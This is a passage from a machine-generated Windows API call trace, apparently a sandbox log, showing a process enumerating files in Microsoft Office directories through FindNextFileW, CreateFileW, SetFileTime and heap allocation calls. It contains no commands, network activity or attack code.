ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4a66, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2a01, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x76cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1001, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4217, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xce72, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x24dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6054, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x70bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2204, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x445d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x189e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPAPERS.INI", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR00.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR10F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1706, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR11F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6499, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR12F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR13F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x645b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR14F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x452b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR15F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR16F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x34cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR17F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR18F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR19F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1B.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR20F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x42ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR21F.GIF", cAlternateFileName="")) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcd6030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1983, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR22F.GIF", cAlternateFileName="")) returned 1 [0078.032] GetLastError () returned 0x12 [0078.032] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.086] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac31c0 [0078.087] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac31c0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xac31c0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac31c0) returned 1 [0078.087] NtClose (Handle=0x164) returned 0x0 [0078.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0078.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0078.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="")) returned 1 [0078.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0078.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4a88 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2370 [0078.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.096] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x23e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="")) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4aa8 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2478 [0078.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.097] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultBlackAndWhite.dotx", cAlternateFileName="")) returned 1 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ac8 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, 